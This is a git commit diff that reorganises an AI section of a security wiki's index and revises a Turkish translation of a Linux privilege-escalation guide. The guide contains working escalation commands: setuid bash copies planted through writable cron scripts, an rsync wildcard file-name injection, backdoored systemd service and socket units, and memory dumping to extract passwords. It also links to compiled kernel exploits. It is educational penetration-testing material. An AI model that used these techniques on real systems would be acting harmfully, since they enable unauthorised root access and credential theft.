Translated ['src/linux-hardening/privilege-escalation/README.md'] to tr

This commit is contained in:
Translator 2025-06-07 16:44:54 +00:00
parent 5bf39503eb
commit 0c27c20fed
13 changed files with 98 additions and 3337 deletions

View File

@ -793,6 +793,29 @@
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md) - [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
- [AI Models RCE](AI/AI-Models-RCE.md)
- [AI Prompts](AI/AI-Prompts.md)
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
- [LLM Training](AI/AI-llm-architecture/README.md)
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing # 🔩 Reversing
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) - [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
@ -850,17 +873,6 @@
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md) - [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md) - [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
- [Test LLMs](todo/test-llms.md) - [Test LLMs](todo/test-llms.md)
- [LLM Training](todo/llm-training-data-preparation/README.md)
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md) - [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md) - [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]() - [Interesting HTTP$$external:todo/interesting-http.md$$]()

View File

@ -32,24 +32,24 @@ cat /proc/version
uname -a uname -a
searchsploit "Linux Kernel" searchsploit "Linux Kernel"
``` ```
İyi bir savunmasız çekirdek listesi ve bazı **derlenmiş exploitler** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ İyi bir savunmasız çekirdek listesi ve bazı **derlenmiş istismarlar** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Diğer bazı **derlenmiş exploitler** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Diğer bazı **derlenmiş istismarlar** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
O web sitesinden tüm savunmasız çekirdek sürümlerini çıkarmak için şunları yapabilirsiniz: O web sitesinden tüm savunmasız çekirdek sürümlerini çıkarmak için şunları yapabilirsiniz:
```bash ```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
``` ```
Kerneliıklarını aramak için yardımcı olabilecek araçlar şunlardır: Kernalıklarını aramak için yardımcı olabilecek araçlar şunlardır:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x çekirdekleri için açıkları kontrol eder) [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x kernel için açıkları kontrol eder)
Her zaman **Google'da çekirdek sürümünü arayın**, belki çekirdek sürümünüz bazı çekirdekıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz. Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernelıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz.
### CVE-2016-5195 (DirtyCow) ### CVE-2016-5195 (DirtyCow)
Linux Yetki Yükseltme - Linux Çekirdeği <= 3.19.0-73.8 Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8
```bash ```bash
# make dirtycow stable # make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -131,7 +131,7 @@ docker-security/
## Drives ## Drives
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz. **Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
```bash ```bash
ls /dev 2>/dev/null | grep -i "sd" ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -150,7 +150,7 @@ Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**.
``` ```
### Güvenlik Açığı Olan Yazılımlar Yüklü ### Güvenlik Açığı Olan Yazılımlar Yüklü
Yüklenen **paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için kullanılabilecek eski bir Nagios sürümü vardır...\ Yüklenen **paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\
Daha şüpheli olan yüklü yazılımların sürümünü manuel olarak kontrol etmeniz önerilir. Daha şüpheli olan yüklü yazılımların sürümünü manuel olarak kontrol etmeniz önerilir.
```bash ```bash
dpkg -l #Debian dpkg -l #Debian
@ -160,9 +160,9 @@ Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunm
> [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü yazılım sürümlerinin bilinen açıklar için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri bazı uygulamaların kullanılması önerilir._ > [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü yazılım sürümlerinin bilinen açıklar için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri bazı uygulamaların kullanılması önerilir._
## Processes ## İşlemler
**Hangi süreçlerin** çalıştığına bir göz atın ve herhangi bir sürecin **gerektiğinden daha fazla yetkiye sahip olup olmadığını** kontrol edin (belki root tarafından çalıştırılan bir tomcat?). **Hangi işlemlerin** çalıştırıldığını kontrol edin ve herhangi bir işlemin **gerektiğinden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki root tarafından çalıştırılan bir tomcat?).
```bash ```bash
ps aux ps aux
ps -ef ps -ef
@ -215,7 +215,7 @@ done
``` ```
#### /proc/$pid/maps & /proc/$pid/mem #### /proc/$pid/maps & /proc/$pid/mem
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini öğreniriz. Bu bilgiyi, **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanırız. Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz.
```bash ```bash
procdump() procdump()
( (
@ -270,7 +270,7 @@ Bir işlem belleğini dökmek için şunları kullanabilirsiniz:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve sizin sahip olduğunuz işlemi dökebilirsiniz - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve sizin sahip olduğunuz işlemi dökebilirsiniz
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) indeki Script A.5 (root gereklidir) - [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) üzerindeki Script A.5 (root gereklidir)
### İşlem Belleğinden Kimlik Bilgileri ### İşlem Belleğinden Kimlik Bilgileri
@ -288,7 +288,7 @@ strings *.dump | grep -i password
``` ```
#### mimipenguin #### mimipenguin
Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten açık metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** **çalar**. Doğru çalışması için kök ayrıcalıkları gerektirir. Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten açık metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** **çalar**. Doğru çalışması için root ayrıcalıkları gerektirir.
| Özellik | Süreç Adı | | Özellik | Süreç Adı |
| ------------------------------------------------- | -------------------- | | ------------------------------------------------- | -------------------- |
@ -334,9 +334,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed #Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid /tmp/bash -p #The effective uid and gid to be set to the real uid and gid
``` ```
### Cron bir joker karakterle bir script kullanarak (Joker Karakter Enjeksiyonu) ### Cron bir joker karakterle bir script kullanma (Joker Karakter Enjeksiyonu)
Eğer root tarafından yürütülen bir script bir komut içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için kullanabilirsiniz (örneğin privesc). Örnek: Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler (örneğin privesc) yapmak için kullanabilirsiniz. Örnek:
```bash ```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
``` ```
@ -348,9 +348,9 @@ Daha fazla joker karakter istismar hilesi için aşağıdaki sayfayı okuyun:
wildcards-spare-tricks.md wildcards-spare-tricks.md
{{#endref}} {{#endref}}
### Cron script'i üzerine yazma ve symlink ### Cron scripti üzerine yazma ve symlink
Eğer **root tarafından yürütülen bir cron script'ini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz: Eğer **root tarafından yürütülen bir cron scriptini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz:
```bash ```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT> echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed #Wait until it is executed
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Görünmez cron işleri ### Görünmez cron işleri
Bir cronjob oluşturmak **bir yorumdan sonra bir satır sonu karakteri koyarak** (yeni satır karakteri olmadan) mümkündür ve cron işi çalışacaktır. Örnek (satır sonu karakterine dikkat edin): Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir taşıyıcı dönüş koyarak** oluşturmak mümkündür ve cron işi çalışacaktır. Örnek (taşıyıcı dönüş karakterine dikkat edin):
```bash ```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!" #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
``` ```
@ -380,12 +380,12 @@ Bir cronjob oluşturmak **bir yorumdan sonra bir satır sonu karakteri koyarak**
### Yazılabilir _.service_ dosyaları ### Yazılabilir _.service_ dosyaları
Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, bunu **değiştirerek** hizmet başlatıldığında, yeniden başlatıldığında veya durdurulduğunda **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, **bunu değiştirebilir** ve **hizmet başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\
Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun. Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun.
### Yazılabilir hizmet ikili dosyaları ### Yazılabilir hizmet ikili dosyaları
Hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz** varsa, bunları arka kapılarla değiştirebileceğinizi unutmayın, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. Eğer **hizmetler tarafından yürütülen ikili dosyalar üzerinde yazma izinleriniz varsa**, bunları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
### systemd PATH - Göreli Yollar ### systemd PATH - Göreli Yollar
@ -401,11 +401,11 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
``` ```
Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin). Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin).
**Hizmetler hakkında daha fazla bilgi için `man systemd.service` komutunu öğrenin.** **Hizmetler hakkında daha fazla bilgi edinin: `man systemd.service`.**
## **Zamanlayıcılar** ## **Zamanlayıcılar**
**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilir. **Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilirler.
Tüm zamanlayıcıları şu şekilde listeleyebilirsiniz: Tüm zamanlayıcıları şu şekilde listeleyebilirsiniz:
```bash ```bash
@ -413,13 +413,13 @@ systemctl list-timers --all
``` ```
### Yazılabilir zamanlayıcılar ### Yazılabilir zamanlayıcılar
Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu systemd.unit'in bazı varlıklarını (örneğin bir `.service` veya bir `.target`) çalıştıracak şekilde ayarlayabilirsiniz. Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu bazı systemd.unit varlıklarını (örneğin bir `.service` veya bir `.target`) çalıştıracak şekilde ayarlayabilirsiniz.
```bash ```bash
Unit=backdoor.service Unit=backdoor.service
``` ```
Belgede, Birimin ne olduğunu okuyabilirsiniz: Belgede, Birimin ne olduğunu okuyabilirsiniz:
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, ancak son ek hariçtir. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birimi adı, son ek hariç aynı şekilde adlandırılması önerilir. > Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, ancak son ek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, son ek hariç, aynı şekilde adlandırılması önerilir.
Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir:
@ -439,26 +439,26 @@ Not edin ki **zamanlayıcı**, `/etc/systemd/system/<WantedBy_section>.wants/<na
## Soketler ## Soketler
Unix Domain Sockets (UDS), **işlem iletişimi** için aynı veya farklı makinelerde istemci-sunucu modelleri içinde olanak tanır. Bunlar, bilgisayarlar arası iletişim için standart Unix tanımlayıcı dosyalarını kullanır ve `.socket` dosyaları aracılığıyla yapılandırılır. Unix Domain Sockets (UDS), **işlem iletişimi** için aynı veya farklı makinelerde istemci-sunucu modelleri içinde olanak tanır. Standart Unix tanımlayıcı dosyalarını kullanarak bilgisayarlar arası iletişim sağlarlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar.
Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir. Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir.
**Soketler hakkında daha fazla bilgi için `man systemd.socket`'ı öğrenin.** Bu dosya içinde, birkaç ilginç parametre yapılandırılabilir: **Soketler hakkında daha fazla bilgi için `man systemd.socket` komutunu öğrenin.** Bu dosya içinde, birkaç ilginç parametre yapılandırılabilir:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, soketin **nerede dinleyeceğini belirtmek için** kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.) - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, soketin **nerede dinleyeceğini belirtmek için** kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.)
- `Accept`: Bir boolean argümanı alır. Eğer **doğru** ise, **her gelen bağlantı için bir hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlış** ise, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir. - `Accept`: Bir boolean argümanı alır. Eğer **doğru** ise, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlış** ise, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir. - `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
- `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFOs **kapandıktan önce** veya **sonra** **çalıştırılan** ek **komutlar**. - `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFOs **kapandıktan önce** veya **sonra** **çalıştırılan** ek **komutlar**.
- `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (ek ile değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır. - `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
### Yazılabilir .socket dosyaları ### Yazılabilir .socket dosyaları
Eğer yazılabilir bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey ekleyebilirsiniz ve arka kapı soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecek.**\ Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey ekleyebilirsiniz ve arka kapı soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecek.**\
_Sistem, o soket dosyası yapılandırmasını kullanıyor olmalıdır, aksi takdirde arka kapı çalıştırılmayacaktır._ _Sistem, o soket dosyası yapılandırmasını kullanıyor olmalıdır, aksi takdirde arka kapı çalıştırılmayacaktır._
### Yazılabilir soketler ### Yazılabilir soketler
Eğer **herhangi bir yazılabilir soket** tespit ederseniz (_şimdi Unix Soketleri hakkında konuşuyoruz ve yapılandırma `.socket` dosyaları hakkında değil_), o zaman **o soketle iletişim kurabilirsiniz** ve belki bir açığı istismar edebilirsiniz. Eğer **herhangi bir yazılabilir soket** tespit ederseniz (_şimdi Unix Soketlerinden bahsediyoruz ve yapılandırma `.socket` dosyalarından değil_), o zaman **bu soketle iletişim kurabilirsiniz** ve belki bir açığı istismar edebilirsiniz.
### Unix Soketlerini Listele ### Unix Soketlerini Listele
```bash ```bash
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP soketleri ### HTTP soketleri
HTTP istekleri için dinleyen bazı **soketler** olabileceğini unutmayın (_.socket dosyalarından değil, unix soketleri olarak işlev gören dosyalardan bahsediyorum_). Bunu kontrol etmek için: HTTP istekleri için dinleyen bazı **soketlerin olabileceğini** unutmayın (_.socket dosyalarından değil, unix soketleri olarak işlev gören dosyalardan bahsediyorum_). Bunu kontrol etmek için:
```bash ```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
``` ```
@ -489,7 +489,7 @@ Eğer soket **HTTP** isteği ile **yanıt veriyorsa**, o zaman onunla **iletişi
### Yazılabilir Docker Soketi ### Yazılabilir Docker Soketi
Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan, güvenli hale getirilmesi gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu sokete yazma erişimine sahip olmak, ayrıcalık yükselmesine yol açabilir. Bunun nasıl yapılacağına dair bir inceleme ve Docker CLI mevcut değilse alternatif yöntemler. Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan, güvenliği sağlanması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu sokete yazma erişimine sahip olmak, ayrıcalık yükselmesine yol açabilir. Bunun nasıl yapılacağına dair bir inceleme ve Docker CLI mevcut değilse alternatif yöntemler.
#### **Docker CLI ile Ayrıcalık Yükseltme** #### **Docker CLI ile Ayrıcalık Yükseltme**
@ -564,11 +564,11 @@ runc-privilege-escalation.md
D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemini göz önünde bulundurarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemini göz önünde bulundurarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
Sistem, süreçler arasında veri alışverişini artıran temel IPC'yi destekleyerek **gelişmiş UNIX alan soketleri**ni andıran bir esneklik sunar. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olarak sistem bileşenleri arasında sorunsuz bir entegrasyon sağlar. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarının sessize alınmasını sağlayarak kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır. Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik 